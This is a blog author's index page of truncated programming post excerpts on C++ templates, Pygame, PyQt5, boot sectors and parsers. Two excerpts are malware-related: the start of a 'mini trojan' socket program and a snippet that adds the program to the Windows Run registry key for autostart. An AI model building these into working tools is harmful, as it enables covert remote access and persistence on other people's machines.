随笔
John_Lan_2008
这个作者很懒,什么都没留下…
展开
-
编译期求多个布尔值的与值
编译期求多个布尔值的与值#include <iostream>constexpr auto all() { return true; }template <typename Arg, typename... Rest> requires std::is_same_v<Arg, bool>constexpr auto all(Arg arg, Rest... rest) { return arg && all(rest...); }int原创 2021-05-24 16:32:55 · 242 阅读 · 0 评论 -
函数参数类型匹配 C++ 实现
函数参数类型匹配 C++ 实现这段代码实现了给定一个函数,函数的参数是否和给定的参数列表匹配以下注释详解实现template <typename Func, typename ... Args>struct is_argument_match{private: // 第一种匹配 // // 匹配一下面的test函数匹配失败的所有情况 template <typename T> static std::false_type test(...); /原创 2021-05-17 20:12:03 · 498 阅读 · 0 评论 -
快速排序(C++ 版)
#include <iostream>using namespace std;// // 交换 数组中两个元素//void swap(int *data, int a, int b){ int tmp = *(data + a); *(data + a) = *(data + b); *(data + b) = tmp;}//// 对数组区间进行分割,返回支点位置// int partition(int *data, int begin, int原创 2021-01-20 13:53:54 · 448 阅读 · 0 评论 -
判断一个模板参数是否和之后所有参数类型相同
#include <vector>#include <iostream>#include <type_traits>using namespace std;template<typename T, typename ... Types>struct is_type_all_same;template<typename T, typename T1>struct is_type_all_same<T, T1>{原创 2021-01-19 11:25:38 · 274 阅读 · 0 评论 -
判断一个模版参数是否在之后的参数列表中
#include <iostream>#include <type_traits>template <typename TargetT, typename ... Ts>struct is_type_in_pack;template <typename TargetT, typename Tt, typename ... Ts>struct is_type_in_pack<TargetT, Tt, Ts...>{ sta..原创 2020-09-30 14:38:33 · 197 阅读 · 0 评论 -
Pygame 学习笔记(2) - 屏幕模式和窗口标题
pygame 屏幕模式和窗口标题示例代码import pygameimport syspygame.init()icon = pygame.image.load('icon_flower.png')pygame.display.set_icon(icon)vInfo = pygame.display.Info()size = width, height = (600, 400)# siz翻译 2017-12-05 20:48:25 · 3720 阅读 · 0 评论 -
Pygame 学习笔记(3) - 键盘和鼠标事件
pygame 键盘按键示例代码import pygameimport syspygame.init()screen = pygame.display.set_mode((600, 400))pygame.display.set_caption('pygame event')while True: for event in pygame.event.get(): if e原创 2017-12-14 11:08:22 · 9662 阅读 · 1 评论 -
OS学习笔记(2) - MBR到Loader交接
首先,BIOS加载MBR,我们在MBR中实现对Loader加载到内存一个给定位置(0x900)boot.S%include "boot.inc"SECTION MBR vstart=0x7c00 mov ax, cs mov ds, ax mov es, ax mov ss, ax mov sp, 0x7c00 mov ax, 0xb800原创 2017-12-20 17:08:47 · 434 阅读 · 0 评论 -
JS学习笔记 - 一个简单例子
获取时间test.html<!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8"> <title> Title </title> <script> function displayDate() { document.get原创 2017-12-20 14:22:24 · 1337 阅读 · 0 评论 -
Pygame 学习笔记(4) - 壁球(鼠标版)
壁球游戏加入鼠标控制示例import pygameimport syspygame.init()icon = pygame.image.load('ball.png')pygame.display.set_icon(icon)vInfo = pygame.display.Info()size = width, height = (600, 400)# size = width, heig原创 2017-12-14 14:41:40 · 1137 阅读 · 0 评论 -
一段有品位的代码
本文源于对一段采访Linux之父的视频,其中李纳斯说的一段链表删除算法是否有品位,补全外围代码,体会大神的品位。看代码~/** * 本文源于对一段采访Linux之父的视频,其中 * 李纳斯说的一段链表删除算法是否有品位, * 补全外围代码,体会大神的品位。 */#include <iostream>#define QUALITY_EDITION struct list_node{原创 2017-12-14 22:07:08 · 527 阅读 · 0 评论 -
模拟malloc - free 函数动态分配内存
本文使用一个全局大数组来模拟物理内存的堆,然后在这个模拟对上进行动态内存分配 代码如下:#include <iostream>#include <stdlib.h>#include <stdio.h>using namespace std;#define MEM_POOL_SIZE (2048)char memPool[MEM_POOL_SIZE] = {0};#define NODE_HE原创 2016-02-27 20:42:21 · 661 阅读 · 0 评论 -
二进制转化到十进制(C++模板)
利用模板方法实现二进制到十进制的转化template <unsigned long N>struct binary{ static unsigned const value = binary<N/10>::value * 2 + N%10;};template <>struct binary<0>{ static unsigned cons原创 2018-01-04 20:09:22 · 3394 阅读 · 0 评论 -
C语言 extern 数组
在一个文件中定义一个字符数组 (如 char data[100] ),在另一个文件使用extern引用的方式。test.cpp// char data[100] = {10};char data[100] = {0, 0, 0, 0,1};char data[100] = {0, 0, 0, 1};main.cpp#include <iostream>#include <string.h>e原创 2018-01-31 19:37:58 · 23807 阅读 · 0 评论 -
python 多线程示例
本文示例描述了两种多线程的方式一种是直接使用threading.Thread(target=func, args=(n,0)一种是继承threading.Thread,实现run成员方法import threadingimport timedef sum(n): sum = 0 for i in range(1, n+1): time.sleep(0.001)原创 2018-03-01 14:50:17 · 507 阅读 · 0 评论 -
python with语句简介
在python中读写操作资源,最后需要释放资源。可以使用try…finally结构实现资源的正确释放,python提供了一个with语句能更简便的实现释放资源。1. python像文件的操作open等已经可以直接使用with语句 2. 可以自定义一个支持with语句对象 3. 使用contextlib也可以使用with语句对象 4. 针对需要close操作的对象with的使用示例代码中有4种原创 2018-04-10 14:26:18 · 602 阅读 · 0 评论 -
OS学习笔记(1) - 一个简单的bootsect
使用汇编语言(nasm汇编器)实现一个bootsect,在屏幕上打印一个字符串。 org 07c00h ; BIOS加载bootsect到7c00地址, ; 所以编译第一条指令在7c00位置 ; 取得所在代码段(CS)值,初始化DS和ES,使代码数据指向同一段 mov ax, cs原创 2017-12-20 13:45:49 · 333 阅读 · 0 评论 -
Swing JTable 简单使用
JTable的使用体现一种MVC的设计模式main.javapackage testtable;import javax.swing.JFrame;import javax.swing.JScrollPane;import javax.swing.JTable;public class KCB { public static void main(String[] args) {原创 2017-12-19 12:35:33 · 620 阅读 · 0 评论 -
C++ cout输出格式化(1)
如何使用C++输出整数的十六进制形式的字符串。#include <iostream>#include <iomanip> // 操纵器头文件 (IO Manipulators)using namespace std;int main(){ int x = 90; int y = 89; int z = 45; cout << setw(2) << setfill原创 2017-11-20 15:06:52 · 522 阅读 · 0 评论 -
Mini类木马
一个简单的木马示例#include "stdafx.h"#pragma comment(lib, "ws2_32.lib")#include <WinSock2.h>#include <windows.h>#include <stdio.h>#define MASTER_PORT 999int _tmain(int argc, _TCHAR* argv[]){ WSADATA WSA原创 2016-03-06 17:43:27 · 794 阅读 · 0 评论 -
操作注册表使程序自启
以下代码使自身可以自启#include <stdio.h>#include <Windows.h>int _tmain(int argc, _TCHAR* argv[]){ HKEY hRoot = HKEY_LOCAL_MACHINE; TCHAR *szSubKey = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";原创 2016-03-06 20:57:38 · 564 阅读 · 0 评论 -
C++ 模拟封装Win API
本文使用C++ 简单封装Win API,封装一个Form和Button。#include <windows.h>#include <map>HINSTANCE applicationHandle;CRITICAL_SECTION handlesLock;std::map<HANDLE, void *> windowHandles;void InitApp(HINSTANCE instance)原创 2016-03-10 20:05:20 · 959 阅读 · 0 评论 -
C++ 11 for-range 访问容器简单实现
C++ 11 标准里对容器的访问提供了一种简单的方法 for-range,不用像以前使用for_each或者迭代器的访问模式。例如:vector<int> iv(10);for (auto v : iv) { cout << v << endl;}使用起来较之前方便不少。我们怎么在自己实现的容器上使用这种方法呢,我自己使用一个简单的示例测试了一下。有这样一个简单的容器:// sc.h 简原创 2016-06-13 09:59:18 · 1333 阅读 · 0 评论 -
C语言函数调用机制
本文使用一个简单的C语言的例子探索一下函数的调用机制,函数调用关系如下:int g(int x){ return x + 10;}int f(int x){ return g(x);}int main(void){ return f(10) + 5;}通过编译生成汇编代码分析调用过程: gcc –S –o main.s main.c -m32 生成汇编代码如下原创 2016-02-25 19:55:01 · 2605 阅读 · 0 评论 -
C++侦测类型转换性
判断C++类型之间的可转换性原创 2017-06-30 16:06:29 · 319 阅读 · 0 评论 -
简易计算器(使用Lex和Yacc)
借助Lex的词法分析和Yacc的语法分析,制作一个简易的计算器。词法分析 mycalc.l %{#include <stdio.h>#include "y.tab.h"int yywrap(void){ return 1;}%}%%"+" return ADD;"-" return SUB;"*" return MUL;"/" return DIV;"\n"原创 2017-07-12 14:17:13 · 2491 阅读 · 1 评论 -
八皇后问题 递归解法
本文简单讲解了八皇后递归解法, 比较易懂 直接看代码:#include <stdio.h>#define NUM_QUEUE 8#define TRUE 1#define FALSE 0// 记录解法数 int gCount = 0; // 使用二维数组定义棋盘 int gChessBoard[NUM_QUEUE][NUM_QUEUE] = { 0,0,0原创 2016-02-26 19:08:18 · 722 阅读 · 0 评论 -
简易计算器(2)- 语法分析(不使用Yacc)
上文展示了简易计算器的词法分析,获得了表达式中的每个记号。本文继续计算器的语法分析。parser.h#ifndef _PARSER_H#define _PARSER_H#include <stdio.h>#include <stdlib.h>#include "lex.h"#define LINE_BUF_SIZE (1024)double ParseLine();double ParseE原创 2017-07-25 20:29:24 · 661 阅读 · 0 评论 -
简易计算器(3)- 扩展(支持括号和负数)
继续上文扩展简易计算器,使它支持括号和负数。 修改代码如下: 在TokenKind枚举中加入左右括号的枚举值 lex.h#ifndef _LEX_H#define _LEX_Htypedef enum { TOKEN_BAD, TOKEN_NUM, TOKEN_OP_ADD, TOKEN_OP_SUB, TOKEN_OP_MUL, TOKE原创 2017-07-26 14:13:06 · 1328 阅读 · 0 评论 -
PyQt5笔记 - 简单例子
一个PyQt窗口简单例子import sysfrom PyQt5.QtWidgets import QApplication, QWidget #1if __name__ == '__main__': app = QApplication(sys.argv) #2 w = QWidget() #3 w.resize(250, 150)原创 2017-08-04 09:55:36 · 2524 阅读 · 0 评论 -
PyQt5笔记 - 消息框和设置窗口中心
消息框import sysfrom PyQt5.QtWidgets import QApplication, QWidget, QMessageBoxclass Example(QWidget): def __init__(self): super().__init__() self.initUI() def initUI(self):原创 2017-08-04 13:38:49 · 2043 阅读 · 0 评论 -
STL vector的erase方法使用
在stl中vector容器使用中,有时要在for循环中删除多个元素。 如下使用示例:#include <iostream>#include <vector>using namespace std;int main(){ vector<int> vi = {1, 2, 2, 4, 4, 4, 10, 3, 4, 4, 4}; cout << "Erase before >>>" <原创 2017-07-27 10:55:13 · 2668 阅读 · 0 评论 -
PyQt5笔记 - 状态栏和简单菜单
显示状态栏和菜单import sysfrom PyQt5.QtWidgets import QApplication, QMainWindow, QAction, qApp #1from PyQt5.QtGui import QIconclass Example(QMainWindow): def __init__(self): super().__init__()原创 2017-08-04 16:39:29 · 616 阅读 · 0 评论 -
PyQt5笔记 - CheckBox
本文说明Checkbox的动态创建# -*- coding: utf-8 -*-from PyQt5 import QtCore, QtGui, QtWidgetsclass Widget(QtWidgets.QWidget): def __init__(self): super().__init__() layout = QtWidgets.QVBoxLa原创 2017-08-05 11:18:17 · 13204 阅读 · 1 评论 -
C++ new/delete操作符重载
C++ new/delete操作符重载本文简单实验了 C++ new/delete 操作符的重载,全局重载和具体类的重载。 在此基础之上可以实现在堆上的内存分配的跟踪和对象chi 代码如下:#include #include using namespace std;class A {public: void Print() { cout " A Class "原创 2016-02-14 20:36:32 · 788 阅读 · 0 评论